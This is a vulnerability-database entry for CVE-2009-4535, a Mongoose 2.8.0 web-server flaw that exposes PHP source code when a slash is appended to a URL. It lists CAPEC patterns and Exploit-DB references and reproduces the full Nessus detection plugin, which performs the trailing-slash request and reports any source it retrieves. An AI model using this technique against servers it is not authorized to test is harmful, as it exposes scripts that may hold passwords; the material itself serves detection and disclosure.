Vulnerabilities > CVE-2009-4535 - Information Exposure vulnerability in Valenok Mongoose

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
valenok
CWE-200
nessus
exploit available

Summary

Mongoose 2.8.0 and earlier allows remote attackers to obtain the source code for a web page by appending a / (slash) character to the URI.

Vulnerable Configurations

Part Description Count
Application
Valenok
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

  • descriptionMongoose Web Server 2.8.0 Source Disclosure. CVE-2009-4535. Webapps exploit for php platform
    idEDB-ID:9897
    last seen2016-02-01
    modified2009-10-23
    published2009-10-23
    reporterDr_IDE
    sourcehttps://www.exploit-db.com/download/9897/
    titleMongoose Web Server 2.8.0 Source Disclosure
  • descriptionMongoose Web Server v2.8 Multiple Directory Traversal Exploits. CVE-2009-4535. Remote exploit for windows platform
    idEDB-ID:12309
    last seen2016-02-01
    modified2010-04-20
    published2010-04-20
    reporterDr_IDE
    sourcehttps://www.exploit-db.com/download/12309/
    titleMongoose Web Server 2.8 - Multiple Directory Traversal Exploits

Nessus

NASL familyWeb Servers
NASL idMONGOOSE_TRAILING_SLASH_DISCLOSURE.NASL
descriptionThe version of the Mongoose web server running on the remote host discloses the source code of files such as PHP scripts when a trailing slash (
last seen2020-06-01
modified2020-06-02
plugin id48201
published2010-07-30
reporterThis script is Copyright (C) 2010-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/48201
titleMongoose URI Trailing Slash Request Source Code Disclosure
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(48201);
  script_version("1.9");
  script_cvs_date("Date: 2018/11/15 20:50:25");

  script_cve_id("CVE-2009-4535");
  script_bugtraq_id(42051);
  script_xref(name:"EDB-ID", value:"9897");

  script_name(english:"Mongoose URI Trailing Slash Request Source Code Disclosure");
  script_summary(english:"Tries to read the source of hosted PHP script");
 
  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server is affected by an information disclosure
vulnerability."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The version of the Mongoose web server running on the remote host
discloses the source code of files such as PHP scripts when a trailing
slash ('/') is appended to a URL. 

An unauthenticated, remote attacker can leverage this issue to disclose
the source of scripts, which may contain passwords and other sensitive
information."
  );
  script_set_attribute(
    attribute:"see_also", 
    value:"https://code.google.com/archive/p/mongoose/issues/94"
  );
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(200);
  script_set_attribute(attribute:"vuln_publication_date", value:"2009/10/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/07/30");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);


# Check if it has a Server response header -- Mongoose doesn't.
banner = get_http_banner(port:port);
if (!banner) exit(1, "Failed to retrieve the banner from the web server on port "+ port +".");
if ("Server:" >< banner) exit(0, "Mongoose doesn't send a Server response header while the web server listening on port "+port+" does.");


# Unless we're paranoid, see if it behaves like Mongoose.
if (report_paranoia < 2)
{
  nonexistent = '/' + unixtime() + '-' + SCRIPT_NAME;
  res = http_send_recv3(method:"GET", item:nonexistent, port:port, fetch404:TRUE, exit_on_fail:TRUE);
  if (!res[2] || "Error 404: Not Found" >!< res[2]) 
    exit(0, "The web server listening on port "+port+" does not appear to be Mongoose.");
}


# NB: check a couple of files in case some don't contain any PHP code
#     or include it in the generated output.
max_files = 5;
open_tag_pat = '<(\\?(php)? |% |script +language="php">)';
close_tag_pat = '(\\?|%|</script)>';

files = get_kb_list("www/"+port+"/content/extensions/php");
if (isnull(files)) files = make_list("/index.php");
else files = make_list(files);

n = 0;
foreach file (files)
{
  ++n;

  # Try to exploit the issue.
  exploit = file + '/';
  res = http_send_recv3(method:"GET", item:exploit, port:port, exit_on_fail:TRUE);

  # If it looks like source...
  if (
    "Content-Type: text/plain" >< res[1] &&
    res[2] && 
    egrep(pattern:open_tag_pat, string:res[2]) &&
    egrep(pattern:close_tag_pat, string:res[2])
  )
  {
    # Make sure it's not normally there.
    res2 = http_send_recv3(method:"GET", item:file, port:port, exit_on_fail:TRUE);
    if (
      res2[2] && 
      !egrep(pattern:open_tag_pat, string:res2[2]) &&
      # nb: don't worry about '</script>' in regular response.
      !egrep(pattern:close_tag_pat-'|</script', string:res2[2])
    )
    {
      if (report_verbosity > 0)
      {
        report = 
          '\n' + "Nessus was able to retrieve the source of '" + file + "' using" +
          '\nthe following URL :' +
          '\n' +
          '\n  ' + build_url(port:port, qs:exploit) + '\n';

        if (report_verbosity > 1)
        {
          report += 
            '\nHere it is :' +
            '\n' +
            '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + 
            '\n' + res[2] +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
        }
        security_warning(port:port, extra:report);
      }
      else security_warning(port);

      exit(0);
    }
  }

  if (n > max_files) break;
}
exit(0, "The web server listening on port "+port+" does not seem to be affected.");